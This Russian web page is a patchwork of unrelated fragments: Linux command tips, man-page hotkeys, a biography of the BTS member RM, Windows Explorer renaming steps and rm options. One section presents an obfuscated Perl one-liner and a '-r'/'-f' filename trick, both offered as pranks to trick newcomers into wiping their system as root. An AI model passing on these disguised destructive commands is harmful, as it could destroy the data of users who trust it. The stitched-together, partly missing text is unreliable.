71 команда linux на все случаи жизни. ну почти

Горячие клавиши и поиск внутри Man-страницы

Вверх, Вниз, Enter — просмотр (прокрутка) Man-страницы.PgUb, PgDn, Пробел — постраничное пролистывание.

— поиск внутри страницы. Нажимаете клавишу , при этом внизу появляется строка для ввода текста. Вводите текст, который вы хотите найти, и нажимаете Enter.? — поиск в обратном направлении (снизу вверх). Аналогично нужно ввести текст для поиска и нажать Enter.n — переход к следующему вхождению.Shift+n — переход к предыдущему вхождению.& — поиск внутри страницы, но вместо подсвечивания результатов, вывести только строки, где было найдено искомое слово.

h — открыть справку по командам и горячим клавишам. Чтобы закрыть справку, используется клавиша q.

q — закрыть Man-страницу.

[править] Использование

Пример использования

Использование команды двояко:

  • В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

Тем, кто не понял, расскажет Крыса-кун: порция на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли с заданным в кавычках текстом — в данном случае следующая строчка будет содержать «test… test… test…»

$ echo "test... test... test..."
test... test... test...
$

А вот что происходит в Perl’овом коде — совсем не очевидно из-за того, что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — . Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш ‘/’ или труба ‘|’, для неясности в этой конструкции используется ограничитель ‘;’).

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:


  !"#$%&'()*+,-./:;<=>?@^_`{|}
 `abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид .

Есть еще один вариант, уже для нубов, считающих себя Ъ-линуксоидами:

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

Под Виндой-95-98 данный патч был всё-таки портирован и принял вид

Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).

Также, вариант для новых :

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'

rm -rf /usr и Bumblebee

Недавний пример случайного использования мема случился летом 2011 года в проекте Bumblebee, представляющем собой костыль для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку

rm -rf usr libnvidia-currentxorgxorg

rmdir /s /q C:\ и Яндекс.Диск

rm -rf my-company

Биография

Ким Намджун родился 12 сентября 1994 года в Ильсане, Южная Корея; у него в семье есть младшая сестра. До того, как дебютировать в BTS он был андерграундным рэпером со сценическим псевдонимом Runch Randa. RM неофициально выпустил несколько композиций, включая коллаборацию с другим андерграундным рэпером Зико. Он также входит в андерграундную хип-хоп команду Daenamhyup, состоящую из Marvel J, l11ven, Supreme Boi, Iron, Kyum2, Kidoh, Samsoon, Illipse и DJ Snatch. Они были активны с 2009 по 2013 годы, после этого Намджун дебютировал в BTS и перестал участвовать в проектах, так как сосредоточился на продвижении в группе. Деятельность также была приостановлена и потому, что некоторые участники перешли в другие команды.

RM замечен многими благодаря своим выдающимся знаниям. В 7 классе он набрал 850 баллов в тесте по английскому языку, а его IQ составляет 148. Помимо родного корейского языка он свободно владеет английским и японским, он продолжил изучать его после того, как все трейни Big Hit получили базовые знания этого языка. RM также смотрел сериал Друзья, что помогло ему в изучении английского.

Другие интересные и полезные команды

cal

— просмотр календаря.

cal 

cal -3
— вывести предыдущий, текущий и следующий месяцы.

cal -m
— первый день в неделе — понедельник.

date

— вывод текущей даты.

date 

date
— вывод даты и времени.

date -s «06/19/1994 11:30:00»
— установить время на 19 июня 1994 года.

date «+Time: %H:%M %d.%m.%y»
— смена формата отображения даты и времени.

expr

— простой калькулятор (некоторые символы необходимо экранировать). Пробелы между знаками обязательны.

expr 

expr 23 % 3
=> 2

expr 3 \> 2
=> 1

expr \( 20 + 2 \) \* 3 \/ 2
=> 33

factor

— раскладывает число на множители.

factor 

factor 22
=> 2 11

look

— отобразить слова, начинающиеся с заданной строки. По умолчанию используется словарь  /usr/share/dict/words.

look

look beaut
— вывод всех слов из словаря, которые начинаются со слова ‘beaut’.

man ascii
— шпаргалка кодовой таблица ASCII-символов.

yes строка
— бесконечный вывод строки в терминале.

wall строка
— выводит сообщение в терминалах всех залогиненных пользователей.

Примеры использования команды rm

Удалить файл

Чтобы удалить файл с помощью команды rm достаточно указать название файла:

Можно удалить несколько файлов, перечислив их имена через пробел:

Принудительно удалить защищенный файл

Если файл защищен от записи, то по умолчанию будет выдан запрос на подтверждение операции удаления. Чтобы запрос не выводился, и происходило удаление защищенных файлов, используется опция -f

Выдать запрос на удаление один раз

При использовании опции -I выводится всего один запрос на подтверждение удаления файлов, причем, только если удаляемых файлов четыре и более. Если файлов 3, или 2, или 1, то запрос не выводится.

Удалить директорию и ее содержимое

Для удаления директорий и их содержимого используется опция -r. Удалим директорию mydir и все файлы и директории внутри нее:

Как переименовать несколько файлов с помощью проводника

Вы можете выбрать один из нескольких методов переименования файлов. Но, обычному пользователю, я рекомендую использовать проводник Windows 10.

Переименование нескольких файлов по одному

Чтобы переименовать несколько файлов с различными именами с помощью клавиши «Tab», выполните следующие действия:

Шаг 1: Откройте проводник.

Шаг 2: Откройте папку с файлами, которую хотите переименовать.

Шаг 3: Перейдите на вкладку «Вид».

Шаг 4: Выберите «Таблица».

Шаг 5: Выберите первый файл в папке.

Шаг 6: Перейдите на вкладку «Главная».

Шаг 7: Нажмите кнопку «Переименовать».

Есть и другие способы переименовать файл в проводнике Windows:

  • Выберите необходимый файл и нажмите клавишу «F2».
  • Нажмите мышки по необходимому файлу и в выпадающем меню выберите пункт «Переименовать»
  • Кликните по названию файла левой кнопкой мышки и снова но уже медленнее клинките по нему.

Шаг 8: Введите новое имя файла.

Шаг 9: Нажмите клавишу «Tab», чтобы перейти к переименованию следующего файла в списке.

Шаг 10: Введите новое имя файла.

Шаг 11: Нажмите клавишу «Tab» еще раз, чтобы перейти к следующему файлу.

Переименование нескольких файлов одновременно

Чтобы переименовать несколько файлов с одинаковой структурой имен, выполните следующие действия:

Шаг 1: Откройте проводник.

Шаг 2: Найдите папку с файлами для переименования.

Шаг 3: Перейдите на вкладку «Вид».

Шаг 4: Выберите «Таблица».

Шаг 5: Перейдите на вкладку «Главная».

Шаг 6: Нажмите кнопку «Выделить все».

Вы также можете использовать сочетание клавиш «Ctrl + A» для быстрого выбора всех файлов. Вы можете нажать и удерживать клавишу «Ctrl», а затем выбрать необходимые файлы кликнув по каждому. Вы также можете выбрать первый файл, нажать и удерживать клавишу «Shift, а затем кликнуть по последнему, чтобы выбрать группу файлов.

Шаг 7: Нажмите кнопку «Переименовать».

Шаг 8: Введите новое имя файла и нажмите Enter.

После выполнения всех шагов все выбранные файлы будут переименованы по той же схеме. Но, к ним был добавлен порядковый номер (число в скобках). Например, летние _каникулы_2019 (1).jpg и летние_каникулы_2019 (2).jpg.

Если вы допустили ошибку, вы можете использовать сочетание клавиш «Ctrl + Z», чтобы отменить переименование. Тоже самое можно сделать нажав на кнопку меню в верхнем левом углу (в строке заголовка Проводника) и выбрав опцию «Отменить».

OPTIONS

-f, —force ignore nonexistent files, never prompt.
-i prompt before every removal.
-I prompt once before removing more than three files, or when removing recursively. Less intrusive than -i, while still giving protection against most mistakes.
—interactive prompt according to WHEN: never, once (-I), or always (-i). Without WHEN, prompt always.
—one-file-system when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument.
—no-preserve-root do not treat ‘/’ specially.
—preserve-root do not remove ‘/’ (default).
-r, -R, —recursive remove directories and their contents recursively.
-v, —verbose explain what is being done.
—help display this help and exit.
—version output version information and exit.
Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector